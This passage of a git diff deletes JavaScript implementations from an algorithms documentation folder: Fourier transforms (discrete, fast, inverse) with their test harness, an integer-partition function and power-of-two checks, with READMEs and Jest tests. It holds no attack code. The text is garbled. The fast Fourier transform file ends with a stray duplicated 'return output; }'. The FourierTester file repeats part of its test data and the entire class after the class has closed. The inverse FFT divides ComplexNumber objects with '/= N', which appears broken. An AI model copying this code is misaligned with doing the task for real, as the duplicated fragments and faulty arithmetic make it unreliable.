-        frequencySignal = frequencySignal.divide(N);
-        // Add current frequency signal to the list of compound signals.
-        signals[frequency] = frequencySignal;
-    }
-    return signals;
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/fourier-transform/fastFourierTransform.js b/docs/content/DS_ALGO/algorithms/math/fourier-transform/fastFourierTransform.js
deleted file mode 100644
index 03346a9fe8..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/fourier-transform/fastFourierTransform.js
+++ /dev/null
@@ -1,67 +0,0 @@
-import ComplexNumber from '../complex-number/ComplexNumber';
-import bitLength from '../bits/bitLength';
-/**
- * Returns the number which is the flipped binary representation of input.
- *
- * @param {number} input
- * @param {number} bitsCount
- * @return {number}
- */
-function reverseBits(input, bitsCount) {
-    let reversedBits = 0;
-    for (let bitIndex = 0; bitIndex < bitsCount; bitIndex += 1) {
-        reversedBits *= 2;
-        if (Math.floor(input / (1 << bitIndex)) % 2 === 1) {
-            reversedBits += 1;
-        }
-    }
-    return reversedBits;
-}
-/**
- * Returns the radix-2 fast fourier transform of the given array.
- * Optionally computes the radix-2 inverse fast fourier transform.
- *
- * @param {ComplexNumber[]} inputData
- * @param {boolean} [inverse]
- * @return {ComplexNumber[]}
- */
-export default function fastFourierTransform(inputData, inverse = false) {
-    const bitsCount = bitLength(inputData.length - 1);
-    const N = 1 << bitsCount;
-    while (inputData.length < N) {
-        inputData.push(new ComplexNumber());
-    }
-    const output = [];
-    for (let dataSampleIndex = 0; dataSampleIndex < N; dataSampleIndex += 1) {
-        output[dataSampleIndex] = inputData[reverseBits(dataSampleIndex, bitsCount)];
-    }
-    for (let blockLength = 2; blockLength <= N; blockLength *= 2) {
-        const imaginarySign = inverse ? -1 : 1;
-        const phaseStep = new ComplexNumber({
-            re: Math.cos((2 * Math.PI) / blockLength),
-            im: imaginarySign * Math.sin((2 * Math.PI) / blockLength)
-        });
-        for (let blockStart = 0; blockStart < N; blockStart += blockLength) {
-            let phase = new ComplexNumber({
-                re: 1,
-                im: 0
-            });
-            for (let signalId = blockStart; signalId < blockStart + blockLength / 2; signalId += 1) {
-                const component = output[signalId + blockLength / 2].multiply(phase);
-                const upd1 = output[signalId].add(component);
-                const upd2 = output[signalId].subtract(component);
-                output[signalId] = upd1;
-                output[signalId + blockLength / 2] = upd2;
-                phase = phase.multiply(phaseStep);
-            }
-        }
-    }
-    if (inverse) {
-        for (let signalId = 0; signalId < N; signalId += 1) {
-            output[signalId] /= N;
-        }
-    }
-    return output;
-}
-return output;
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/fourier-transform/inverseDiscreteFourierTransform.js b/docs/content/DS_ALGO/algorithms/math/fourier-transform/inverseDiscreteFourierTransform.js
deleted file mode 100644
index 21826d1c9c..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/fourier-transform/inverseDiscreteFourierTransform.js
+++ /dev/null
@@ -1,44 +0,0 @@
-import ComplexNumber from '../complex-number/ComplexNumber';
-const CLOSE_TO_ZERO_THRESHOLD = 1e-10;
-/**
- * Inverse Discrete Fourier Transform (IDFT): frequencies to time.
- *
- * Time complexity: O(N^2)
- *
- * @param {ComplexNumber[]} frequencies - Frequencies summands of the final signal.
- * @param {number} zeroThreshold - Threshold that is used to convert real and imaginary numbers
- * to zero in case if they are smaller then this.
- *
- * @return {number[]} - Discrete amplitudes distributed in time.
- */
-export default function inverseDiscreteFourierTransform(frequencies, zeroThreshold = CLOSE_TO_ZERO_THRESHOLD) {
-    const N = frequencies.length;
-    const amplitudes = [];
-    // Go through every discrete point of time.
-    for (let timer = 0; timer < N; timer += 1) {
-        // Compound amplitude at current time.
-        let amplitude = new ComplexNumber();
-        // Go through all discrete frequencies.
-        for (let frequency = 0; frequency < N; frequency += 1) {
-            const currentFrequency = frequencies[frequency];
-            // Calculate rotation angle.
-            const rotationAngle = 2 * Math.PI * frequency * (timer / N);
-            // Remember that e^ix = cos(x) + i * sin(x);
-            const frequencyContribution = new ComplexNumber({
-                re: Math.cos(rotationAngle),
-                im: Math.sin(rotationAngle)
-            }).multiply(currentFrequency);
-            amplitude = amplitude.add(frequencyContribution);
-        }
-        // Close to zero? You're zero.
-        if (Math.abs(amplitude.re) < zeroThreshold) {
-            amplitude.re = 0;
-        }
-        if (Math.abs(amplitude.im) < zeroThreshold) {
-            amplitude.im = 0;
-        }
-        // Add current frequency signal to the list of compound signals.
-        amplitudes[timer] = amplitude.re;
-    }
-    return amplitudes;
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/fourier-transform/test/FourierTester.js b/docs/content/DS_ALGO/algorithms/math/fourier-transform/test/FourierTester.js
deleted file mode 100644
index 2e06fded55..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/fourier-transform/test/FourierTester.js
+++ /dev/null
@@ -1,532 +0,0 @@
-import ComplexNumber from '../../complex-number/ComplexNumber';
-export const fourierTestCases = [{
-        input: [{
-            amplitude: 1
-        }],
-        output: [{
-            frequency: 0,
-            amplitude: 1,
-            phase: 0,
-            re: 1,
-            im: 0
-        }]
-    },
-    {
-        input: [{
-            amplitude: 1
-        }, {
-            amplitude: 0
-        }],
-        output: [{
-                frequency: 0,
-                amplitude: 0.5,
-                phase: 0,
-                re: 0.5,
-                im: 0
-            },
-            {
-                frequency: 1,
-                amplitude: 0.5,
-                phase: 0,
-                re: 0.5,
-                im: 0
-            }
-        ]
-    },
-    {
-        input: [{
-            amplitude: 2
-        }, {
-            amplitude: 0
-        }],
-        output: [{
-                frequency: 0,
-                amplitude: 1,
-                phase: 0,
-                re: 1,
-                im: 0
-            },
-            {
-                frequency: 1,
-                amplitude: 1,
-                phase: 0,
-                re: 1,
-                im: 0
-            }
-        ]
-    },
-    {
-        input: [{
-            amplitude: 1
-        }, {
-            amplitude: 0
-        }, {
-            amplitude: 0
-        }],
-        output: [{
-                frequency: 0,
-                amplitude: 0.33333,
-                phase: 0,
-                re: 0.33333,
-                im: 0
-            },
-            {
-                frequency: 1,
-                amplitude: 0.33333,
-                phase: 0,
-                re: 0.33333,
-                im: 0
-            },
-            {
-                frequency: 2,
-                amplitude: 0.33333,
-                phase: 0,
-                re: 0.33333,
-                im: 0
-            }
-        ]
-    },
-    {
-        input: [{
-            amplitude: 1
-        }, {
-            amplitude: 0
-        }, {
-            amplitude: 0
-        }, {
-            amplitude: 0
-        }],
-        output: [{
-                frequency: 0,
-                amplitude: 0.25,
-                phase: 0,
-                re: 0.25,
-                im: 0
-            },
-            {
-                frequency: 1,
-                amplitude: 0.25,
-                phase: 0,
-                re: 0.25,
-                im: 0
-            },
-            {
-                frequency: 2,
-                amplitude: 0.25,
-                phase: 0,
-                re: 0.25,
-                im: 0
-            },
-            {
-                frequency: 3,
-                amplitude: 0.25,
-                phase: 0,
-                re: 0.25,
-                im: 0
-            }
-        ]
-    },
-    {
-        input: [{
-            amplitude: 0
-        }, {
-            amplitude: 1
-        }, {
-            amplitude: 0
-        }, {
-            amplitude: 0
-        }],
-        output: [{
-                frequency: 0,
-                amplitude: 0.25,
-                phase: 0,
-                re: 0.25,
-                im: 0
-            },
-            {
-                frequency: 1,
-                amplitude: 0.25,
-                phase: -90,
-                re: 0,
-                im: -0.25
-            },
-            {
-                frequency: 2,
-                amplitude: 0.25,
-                phase: 180,
-                re: -0.25,
-                im: 0
-            },
-            {
-                frequency: 3,
-                amplitude: 0.25,
-                phase: 90,
-                re: 0,
-                im: 0.25
-            }
-        ]
-    },
-    {
-        input: [{
-            amplitude: 0
-        }, {
-            amplitude: 0
-        }, {
-            amplitude: 1
-        }, {
-            amplitude: 0
-        }],
-        output: [{
-                frequency: 0,
-                amplitude: 0.25,
-                phase: 0,
-                re: 0.25,
-                im: 0
-            },
-            {
-                frequency: 1,
-                amplitude: 0.25,
-                phase: 180,
-                re: -0.25,
-                im: 0
-            },
-            {
-                frequency: 2,
-                amplitude: 0.25,
-                phase: 0,
-                re: 0.25,
-                im: 0
-            },
-            {
-                frequency: 3,
-                amplitude: 0.25,
-                phase: 180,
-                re: -0.25,
-                im: 0
-            }
-        ]
-    },
-    {
-        input: [{
-            amplitude: 0
-        }, {
-            amplitude: 0
-        }, {
-            amplitude: 0
-        }, {
-            amplitude: 2
-        }],
-        output: [{
-                frequency: 0,
-                amplitude: 0.5,
-                phase: 0,
-                re: 0.5,
-                im: 0
-            },
-            {
-                frequency: 1,
-                amplitude: 0.5,
-                phase: 90,
-                re: 0,
-                im: 0.5
-            },
-            {
-                frequency: 2,
-                amplitude: 0.5,
-                phase: 180,
-                re: -0.5,
-                im: 0
-            },
-            {
-                frequency: 3,
-                amplitude: 0.5,
-                phase: -90,
-                re: 0,
-                im: -0.5
-            }
-        ]
-    },
-    {
-        input: [{
-            amplitude: 0
-        }, {
-            amplitude: 1
-        }, {
-            amplitude: 0
-        }, {
-            amplitude: 2
-        }],
-        output: [{
-                frequency: 0,
-                amplitude: 0.75,
-                phase: 0,
-                re: 0.75,
-                im: 0
-            },
-            {
-                frequency: 1,
-                amplitude: 0.25,
-                phase: 90,
-                re: 0,
-                im: 0.25
-            },
-            {
-                frequency: 2,
-                amplitude: 0.75,
-                phase: 180,
-                re: -0.75,
-                im: 0
-            },
-            {
-                frequency: 3,
-                amplitude: 0.25,
-                phase: -90,
-                re: 0,
-                im: -0.25
-            }
-        ]
-    },
-    {
-        input: [{
-            amplitude: 4
-        }, {
-            amplitude: 1
-        }, {
-            amplitude: 0
-        }, {
-            amplitude: 2
-        }],
-        output: [{
-                frequency: 0,
-                amplitude: 1.75,
-                phase: 0,
-                re: 1.75,
-                im: 0
-            },
-            {
-                frequency: 1,
-                amplitude: 1.03077,
-                phase: 14.03624,
-                re: 0.99999,
-                im: 0.25
-            },
-            {
-                frequency: 2,
-                amplitude: 0.25,
-                phase: 0,
-                re: 0.25,
-                im: 0
-            },
-            {
-                frequency: 3,
-                amplitude: 1.03077,
-                phase: -14.03624,
-                re: 1,
-                im: -0.25
-            }
-        ]
-    },
-    {
-        input: [{
-            amplitude: 4
-        }, {
-            amplitude: 1
-        }, {
-            amplitude: -3
-        }, {
-            amplitude: 2
-        }],
-        output: [{
-                frequency: 0,
-                amplitude: 1,
-                phase: 0,
-                re: 1,
-                im: 0
-            },
-            {
-                frequency: 1,
-                amplitude: 1.76776,
-                phase: 8.1301,
-                re: 1.75,
-                im: 0.25
-            },
-            {
-                frequency: 2,
-                amplitude: 0.5,
-                phase: 180,
-                re: -0.5,
-                im: 0
-            },
-            {
-                frequency: 3,
-                amplitude: 1.76776,
-                phase: -8.1301,
-                re: 1.75,
-                im: -0.24999
-            }
-        ]
-    },
-    {
-        input: [{
-            amplitude: 1
-        }, {
-            amplitude: 2
-        }, {
-            amplitude: 3
-        }, {
-            amplitude: 4
-        }],
-        output: [{
-                frequency: 0,
-                amplitude: 2.5,
-                phase: 0,
-                re: 2.5,
-                im: 0
-            },
-            {
-                frequency: 1,
-                amplitude: 0.7071,
-                phase: 135,
-                re: -0.5,
-                im: 0.49999
-            },
-            {
-                frequency: 2,
-                amplitude: 0.5,
-                phase: 180,
-                re: -0.5,
-                im: 0
-            },
-            {
-                frequency: 3,
-                amplitude: 0.7071,
-                phase: -134.99999,
-                re: -0.49999,
-                im: -0.5
-            }
-        ]
-    }
-];
-export default class FourierTester {
-    /**
-     * @param {function} fourierTransform
-     */
-    static testDirectFourierTransform(fourierTransform) {
-        fourierTestCases.forEach((testCase) => {
-            const {
-                input,
-                output: expectedOutput
-            } = testCase;
-            // Try to split input signal into sequence of pure sinusoids.
-            const formattedInput = input.map((sample) => sample.amplitude);
-            const currentOutput = fourierTransform(formattedInput);
-            // Check the signal has been split into proper amount of sub-signals.
-            expect(currentOutput.length).toBeGreaterThanOrEqual(formattedInput.length);
-            // Now go through all the signals and check their frequency, amplitude and phase.
-            expectedOutput.forEach((expectedSignal, frequency) => {
-                // Get template data we want to test against.
-                const currentSignal = currentOutput[frequency];
-                const currentPolarSignal = currentSignal.getPolarForm(false);
-                // Check all signal parameters.
-                expect(frequency).toBe(expectedSignal.frequency);
-                expect(currentSignal.re).toBeCloseTo(expectedSignal.re, 4);
-                expect(currentSignal.im).toBeCloseTo(expectedSignal.im, 4);
-                expect(currentPolarSignal.phase).toBeCloseTo(expectedSignal.phase, 4);
-                expect(currentPolarSignal.radius).toBeCloseTo(expectedSignal.amplitude, 4);
-            });
-        });
-    }
-    /**
-     * @param {function} inverseFourierTransform
-     */
-    static testInverseFourierTransform(inverseFourierTransform) {
-        fourierTestCases.forEach((testCase) => {
-            const {
-                input: expectedOutput,
-                output: inputFrequencies
-            } = testCase;
-            // Try to join frequencies into time signal.
-            const formattedInput = inputFrequencies.map((frequency) => {
-                return new ComplexNumber({
-                    re: frequency.re,
-                    im: frequency.im
-                });
-            });
-            const currentOutput = inverseFourierTransform(formattedInput);
-            // Check the signal has been combined of proper amount of time samples.
-            expect(currentOutput.length).toBeLessThanOrEqual(formattedInput.length);
-            // Now go through all the amplitudes and check their values.
-            expectedOutput.forEach((expectedAmplitudes, timer) => {
-                // Get template data we want to test against.
-                const currentAmplitude = currentOutput[timer];
-                // Check if current amplitude is close enough to the calculated one.
-                expect(currentAmplitude).toBeCloseTo(expectedAmplitudes.amplitude, 4);
-            });
-        });
-    }
-}
-phase: -134.99999,
-    re: -0.49999,
-    im: -0.5
-}
-]
-}
-];
-export default class FourierTester {
-    /**
-     * @param {function} fourierTransform
-     */
-    static testDirectFourierTransform(fourierTransform) {
-        fourierTestCases.forEach((testCase) => {
-            const {
-                input,
-                output: expectedOutput
-            } = testCase;
-            // Try to split input signal into sequence of pure sinusoids.
-            const formattedInput = input.map((sample) => sample.amplitude);
-            const currentOutput = fourierTransform(formattedInput);
-            // Check the signal has been split into proper amount of sub-signals.
-            expect(currentOutput.length).toBeGreaterThanOrEqual(formattedInput.length);
-            // Now go through all the signals and check their frequency, amplitude and phase.
-            expectedOutput.forEach((expectedSignal, frequency) => {
-                // Get template data we want to test against.
-                const currentSignal = currentOutput[frequency];
-                const currentPolarSignal = currentSignal.getPolarForm(false);
-                // Check all signal parameters.
-                expect(frequency).toBe(expectedSignal.frequency);
-                expect(currentSignal.re).toBeCloseTo(expectedSignal.re, 4);
-                expect(currentSignal.im).toBeCloseTo(expectedSignal.im, 4);
-                expect(currentPolarSignal.phase).toBeCloseTo(expectedSignal.phase, 4);
-                expect(currentPolarSignal.radius).toBeCloseTo(expectedSignal.amplitude, 4);
-            });
-        });
-    }
-    /**
-     * @param {function} inverseFourierTransform
-     */
-    static testInverseFourierTransform(inverseFourierTransform) {
-        fourierTestCases.forEach((testCase) => {
-            const {
-                input: expectedOutput,
-                output: inputFrequencies
-            } = testCase;
-            // Try to join frequencies into time signal.
-            const formattedInput = inputFrequencies.map((frequency) => {
-                return new ComplexNumber({
-                    re: frequency.re,
-                    im: frequency.im
-                });
-            });
-            const currentOutput = inverseFourierTransform(formattedInput);
-            // Check the signal has been combined of proper amount of time samples.
-            expect(currentOutput.length).toBeLessThanOrEqual(formattedInput.length);
-            // Now go through all the amplitudes and check their values.
-            expectedOutput.forEach((expectedAmplitudes, timer) => {
-                // Get template data we want to test against.
-                const currentAmplitude = currentOutput[timer];
-                // Check if current amplitude is close enough to the calculated one.
-                expect(currentAmplitude).toBeCloseTo(expectedAmplitudes.amplitude, 4);
-            });
-        });
-    }
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/fourier-transform/test/discreteFourierTransform.test.js b/docs/content/DS_ALGO/algorithms/math/fourier-transform/test/discreteFourierTransform.test.js
deleted file mode 100644
index 4e6df89a8a..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/fourier-transform/test/discreteFourierTransform.test.js
+++ /dev/null
@@ -1,7 +0,0 @@
-import discreteFourierTransform from '../discreteFourierTransform';
-import FourierTester from './FourierTester';
-describe('discreteFourierTransform', () => {
-    it('should split signal into frequencies', () => {
-        FourierTester.testDirectFourierTransform(discreteFourierTransform);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/math/fourier-transform/test/fastFourierTransform.test.js b/docs/content/DS_ALGO/algorithms/math/fourier-transform/test/fastFourierTransform.test.js
deleted file mode 100644
index 4eb7499201..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/fourier-transform/test/fastFourierTransform.test.js
+++ /dev/null
@@ -1,82 +0,0 @@
-import fastFourierTransform from '../fastFourierTransform';
-import ComplexNumber from '../../complex-number/ComplexNumber';
-/**
- * @param {ComplexNumber[]} sequence1
- * @param {ComplexNumber[]} sequence2
- * @param {Number} delta
- * @return {boolean}
- */
-function sequencesApproximatelyEqual(sequence1, sequence2, delta) {
-    if (sequence1.length !== sequence2.length) {
-        return false;
-    }
-    for (let numberIndex = 0; numberIndex < sequence1.length; numberIndex += 1) {
-        if (Math.abs(sequence1[numberIndex].re - sequence2[numberIndex].re) > delta) {
-            return false;
-        }
-        if (Math.abs(sequence1[numberIndex].im - sequence2[numberIndex].im) > delta) {
-            return false;
-        }
-    }
-    return true;
-}
-const delta = 1e-6;
-describe('fastFourierTransform', () => {
-    it('should calculate the radix-2 discrete fourier transform #1', () => {
-        const input = [new ComplexNumber({ re: 0, im: 0 })];
-        const expectedOutput = [new ComplexNumber({ re: 0, im: 0 })];
-        const output = fastFourierTransform(input);
-        const invertedOutput = fastFourierTransform(output, true);
-        expect(sequencesApproximatelyEqual(expectedOutput, output, delta)).toBe(true);
-        expect(sequencesApproximatelyEqual(input, invertedOutput, delta)).toBe(true);
-    });
-    it('should calculate the radix-2 discrete fourier transform #2', () => {
-        const input = [new ComplexNumber({ re: 1, im: 2 }), new ComplexNumber({ re: 2, im: 3 }), new ComplexNumber({ re: 8, im: 4 })];
-        const expectedOutput = [
-            new ComplexNumber({ re: 11, im: 9 }),
-            new ComplexNumber({ re: -10, im: 0 }),
-            new ComplexNumber({ re: 7, im: 3 }),
-            new ComplexNumber({ re: -4, im: -4 })
-        ];
-        const output = fastFourierTransform(input);
-        const invertedOutput = fastFourierTransform(output, true);
-        expect(sequencesApproximatelyEqual(expectedOutput, output, delta)).toBe(true);
-        expect(sequencesApproximatelyEqual(input, invertedOutput, delta)).toBe(true);
-    });
-    it('should calculate the radix-2 discrete fourier transform #3', () => {
-        const input = [
-            new ComplexNumber({ re: -83656.9359385182, im: 98724.08038374918 }),
-            new ComplexNumber({ re: -47537.415125808424, im: 88441.58381765135 }),
-            new ComplexNumber({ re: -24849.657029355192, im: -72621.79007878687 }),
-            new ComplexNumber({ re: 31451.27290052717, im: -21113.301128347346 }),
-            new ComplexNumber({ re: 13973.90836288876, im: -73378.36721594246 }),
-            new ComplexNumber({ re: 14981.520420492234, im: 63279.524958963884 }),
-            new ComplexNumber({ re: -9892.575367044381, im: -81748.44671677813 }),
-            new ComplexNumber({ re: -35933.00356823792, im: -46153.47157161784 }),
-            new ComplexNumber({ re: -22425.008561855735, im: -86284.24507370662 }),
-            new ComplexNumber({ re: -39327.43830818355, im: 30611.949874562706 })
-        ];
-        const expectedOutput = [
-            new ComplexNumber({ re: -203215.3322151, im: -100242.4827503 }),
-            new ComplexNumber({ re: 99217.0805705, im: 270646.9331932 }),
-            new ComplexNumber({ re: -305990.9040412, im: 68224.8435751 }),
-            new ComplexNumber({ re: -14135.7758282, im: 199223.9878095 }),
-            new ComplexNumber({ re: -306965.6350922, im: 26030.1025439 }),
-            new ComplexNumber({ re: -76477.6755206, im: 40781.907899 }),
-            new ComplexNumber({ re: -48409.3099088, im: 54674.7959662 }),
-            new ComplexNumber({ re: -329683.0131713, im: 164287.7995937 }),
-            new ComplexNumber({ re: -50485.2048527, im: -330375.0546527 }),
-            new ComplexNumber({ re: 122235.7738708, im: 91091.6398019 }),
-            new ComplexNumber({ re: 47625.8850387, im: 73497.3981523 }),
-            new ComplexNumber({ re: -15619.8231136, im: 80804.868541 }),
-            new ComplexNumber({ re: 192234.0276101, im: 160833.3072355 }),
-            new ComplexNumber({ re: -96389.4195635, im: 393408.4543872 }),
-            new ComplexNumber({ re: -173449.0825417, im: 146875.7724104 }),
-            new ComplexNumber({ re: -179002.5662573, im: 239821.0124341 })
-        ];
-        const output = fastFourierTransform(input);
-        const invertedOutput = fastFourierTransform(output, true);
-        expect(sequencesApproximatelyEqual(expectedOutput, output, delta)).toBe(true);
-        expect(sequencesApproximatelyEqual(input, invertedOutput, delta)).toBe(true);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/math/fourier-transform/test/inverseDiscreteFourierTransform.test.js b/docs/content/DS_ALGO/algorithms/math/fourier-transform/test/inverseDiscreteFourierTransform.test.js
deleted file mode 100644
index e292ce58ef..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/fourier-transform/test/inverseDiscreteFourierTransform.test.js
+++ /dev/null
@@ -1,7 +0,0 @@
-import inverseDiscreteFourierTransform from '../inverseDiscreteFourierTransform';
-import FourierTester from './FourierTester';
-describe('inverseDiscreteFourierTransform', () => {
-    it('should calculate output signal out of input frequencies', () => {
-        FourierTester.testInverseFourierTransform(inverseDiscreteFourierTransform);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/math/integer-partition/README.md b/docs/content/DS_ALGO/algorithms/math/integer-partition/README.md
deleted file mode 100644
index 92a9b16629..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/integer-partition/README.md
+++ /dev/null
@@ -1,34 +0,0 @@
-# Integer Partition
-
-In number theory and combinatorics, a partition of a positive
-integer `n`, also called an **integer partition**, is a way of
-writing `n` as a sum of positive integers.
-
-Two sums that differ only in the order of their summands are
-considered the same partition. For example, `4` can be partitioned
-in five distinct ways:
-
-```
-4
-3 + 1
-2 + 2
-2 + 1 + 1
-1 + 1 + 1 + 1
-```
-
-The order-dependent composition `1 + 3` is the same partition
-as `3 + 1`, while the two distinct
-compositions `1 + 2 + 1` and `1 + 1 + 2` represent the same
-partition `2 + 1 + 1`.
-
-Young diagrams associated to the partitions of the positive
-integers `1` through `8`. They are arranged so that images
-under the reflection about the main diagonal of the square
-are conjugate partitions.
-
-![Integer Partition](https://upload.wikimedia.org/wikipedia/commons/d/d8/Ferrer_partitioning_diagrams.svg)
-
-## References
-
--   [Wikipedia](<https://en.wikipedia.org/wiki/Partition_(number_theory)>)
--   [YouTube](https://www.youtube.com/watch?v=ZaVM057DuzE&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
diff --git a/docs/content/DS_ALGO/algorithms/math/integer-partition/integerPartition.js b/docs/content/DS_ALGO/algorithms/math/integer-partition/integerPartition.js
deleted file mode 100644
index 0c9b252bb2..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/integer-partition/integerPartition.js
+++ /dev/null
@@ -1,53 +0,0 @@
-/**
- * @param {number} number
- * @return {number}
- */
-export default function integerPartition(number) {
-    // Create partition matrix for solving this task using Dynamic Programming.
-    const partitionMatrix = Array(number + 1)
-        .fill(null)
-        .map(() => {
-            return Array(number + 1).fill(null);
-        });
-    // Fill partition matrix with initial values.
-    // Let's fill the first row that represents how many ways we would have
-    // to combine the numbers 1, 2, 3, ..., n with number 0. We would have zero
-    // ways obviously since with zero number we may form only zero.
-    for (let numberIndex = 1; numberIndex <= number; numberIndex += 1) {
-        partitionMatrix[0][numberIndex] = 0;
-    }
-    // Let's fill the first column. It represents the number of ways we can form
-    // number zero out of numbers 0, 0 and 1, 0 and 1 and 2, 0 and 1 and 2 and 3, ...
-    // Obviously there is only one way we could form number 0
-    // and it is with number 0 itself.
-    for (let summandIndex = 0; summandIndex <= number; summandIndex += 1) {
-        partitionMatrix[summandIndex][0] = 1;
-    }
-    // Now let's go through other possible options of how we could form number m out of
-    // summands 0, 1, ..., m using Dynamic Programming approach.
-    for (let summandIndex = 1; summandIndex <= number; summandIndex += 1) {
-        for (let numberIndex = 1; numberIndex <= number; numberIndex += 1) {
-            if (summandIndex > numberIndex) {
-                // If summand number is bigger then current number itself then just it won't add
-                // any new ways of forming the number. Thus we may just copy the number from row above.
-                partitionMatrix[summandIndex][numberIndex] = partitionMatrix[summandIndex - 1][numberIndex];
-            } else {
-                /*
-                 * The number of combinations would equal to number of combinations of forming the same
-                 * number but WITHOUT current summand number PLUS number of combinations of forming the
-                 * <current number - current summand> number but WITH current summand.
-                 *
-                 * Example:
-                 * Number of ways to form 5 using summands {0, 1, 2} would equal the SUM of:
-                 * - number of ways to form 5 using summands {0, 1} (we've excluded summand 2)
-                 * - number of ways to form 3 (because 5 - 2 = 3) using summands {0, 1, 2}
-                 * (we've included summand 2)
-                 */
-                const combosWithoutSummand = partitionMatrix[summandIndex - 1][numberIndex];
-                const combosWithSummand = partitionMatrix[summandIndex][numberIndex - summandIndex];
-                partitionMatrix[summandIndex][numberIndex] = combosWithoutSummand + combosWithSummand;
-            }
-        }
-    }
-    return partitionMatrix[number][number];
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/integer-partition/test/integerPartition.test.js b/docs/content/DS_ALGO/algorithms/math/integer-partition/test/integerPartition.test.js
deleted file mode 100644
index 8c4c533f0b..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/integer-partition/test/integerPartition.test.js
+++ /dev/null
@@ -1,13 +0,0 @@
-import integerPartition from '../integerPartition';
-describe('integerPartition', () => {
-    it('should partition the number', () => {
-        expect(integerPartition(1)).toBe(1);
-        expect(integerPartition(2)).toBe(2);
-        expect(integerPartition(3)).toBe(3);
-        expect(integerPartition(4)).toBe(5);
-        expect(integerPartition(5)).toBe(7);
-        expect(integerPartition(6)).toBe(11);
-        expect(integerPartition(7)).toBe(15);
-        expect(integerPartition(8)).toBe(22);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/math/is-power-of-two/README.md b/docs/content/DS_ALGO/algorithms/math/is-power-of-two/README.md
deleted file mode 100644
index 8e79ce29e1..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/is-power-of-two/README.md
+++ /dev/null
@@ -1,51 +0,0 @@
-# Is a power of two
-
-Given a positive integer, write a function to find if it is
-a power of two or not.
-
-**Naive solution**
-
-In naive solution we just keep dividing the number by two
-unless the number becomes `1` and every time we do so, we
-check that remainder after division is always `0`. Otherwise, the number can't be a power of two.
-
-**Bitwise solution**
-
-Powers of two in binary form always have just one bit set.
-The only exception is with a signed integer (e.g. an 8-bit
-signed integer with a value of -128 looks like: `10000000`)
-
-```
-1: 0001
-2: 0010
-4: 0100
-8: 1000
-```
-
-So after checking that the number is greater than zero,
-we can use a bitwise hack to test that one and only one
-bit is set.
-
-```
-number & (number - 1)
-```
-
-For example for number `8` that operations will look like:
-
-```
-  1000
-- 0001
-  ----
-  0111
-
-  1000
-& 0111
-  ----
-  0000
-```
-
-## References
-
--   [GeeksForGeeks](https://www.geeksforgeeks.org/program-to-find-whether-a-no-is-power-of-two/)
--   [Bitwise Solution on Stanford](http://www.graphics.stanford.edu/~seander/bithacks.html#DetermineIfPowerOf2)
--   [Binary number subtraction on YouTube](https://www.youtube.com/watch?v=S9LJknZTyos&t=0s&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8&index=66)
diff --git a/docs/content/DS_ALGO/algorithms/math/is-power-of-two/isPowerOfTwo.js b/docs/content/DS_ALGO/algorithms/math/is-power-of-two/isPowerOfTwo.js
deleted file mode 100644
index 035de33149..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/is-power-of-two/isPowerOfTwo.js
+++ /dev/null
@@ -1,22 +0,0 @@
-/**
- * @param {number} number
- * @return {boolean}
- */
-export default function isPowerOfTwo(number) {
-    // 1 (2^0) is the smallest power of two.
-    if (number < 1) {
-        return false;
-    }
-    // Let's find out if we can divide the number by two
-    // many times without remainder.
-    let dividedNumber = number;
-    while (dividedNumber !== 1) {
-        if (dividedNumber % 2 !== 0) {
-            // For every case when remainder isn't zero we can say that this number
-            // couldn't be a result of power of two.
-            return false;
-        }
-        dividedNumber /= 2;
-    }
-    return true;
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/is-power-of-two/isPowerOfTwoBitwise.js b/docs/content/DS_ALGO/algorithms/math/is-power-of-two/isPowerOfTwoBitwise.js
deleted file mode 100644
index 1a1c301174..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/is-power-of-two/isPowerOfTwoBitwise.js
+++ /dev/null
@@ -1,25 +0,0 @@
-/**
- * @param {number} number
- * @return {boolean}
- */
-export default function isPowerOfTwoBitwise(number) {
-    // 1 (2^0) is the smallest power of two.
-    if (number < 1) {
-        return false;
-    }
-    /*
-     * Powers of two in binary look like this:
-     * 1: 0001
-     * 2: 0010
-     * 4: 0100
-     * 8: 1000
-     *
-     * Note that there is always exactly 1 bit set. The only exception is with a signed integer.
-     * e.g. An 8-bit signed integer with a value of -128 looks like:
-     * 10000000
-     *
-     * So after checking that the number is greater than zero, we can use a clever little bit
-     * hack to test that one and only one bit is set.
-     */
-    return (number & (number - 1)) === 0;
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/is-power-of-two/test/isPowerOfTwo.test.js b/docs/content/DS_ALGO/algorithms/math/is-power-of-two/test/isPowerOfTwo.test.js
deleted file mode 100644
index 2bbbf7c9b7..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/is-power-of-two/test/isPowerOfTwo.test.js
+++ /dev/null
@@ -1,22 +0,0 @@
-import isPowerOfTwo from '../isPowerOfTwo';
-describe('isPowerOfTwo', () => {
-    it('should check if the number is made by multiplying twos', () => {
-        expect(isPowerOfTwo(-1)).toBe(false);
-        expect(isPowerOfTwo(0)).toBe(false);
-        expect(isPowerOfTwo(1)).toBe(true);
-        expect(isPowerOfTwo(2)).toBe(true);
-        expect(isPowerOfTwo(3)).toBe(false);
-        expect(isPowerOfTwo(4)).toBe(true);
-        expect(isPowerOfTwo(5)).toBe(false);
-        expect(isPowerOfTwo(6)).toBe(false);
-        expect(isPowerOfTwo(7)).toBe(false);
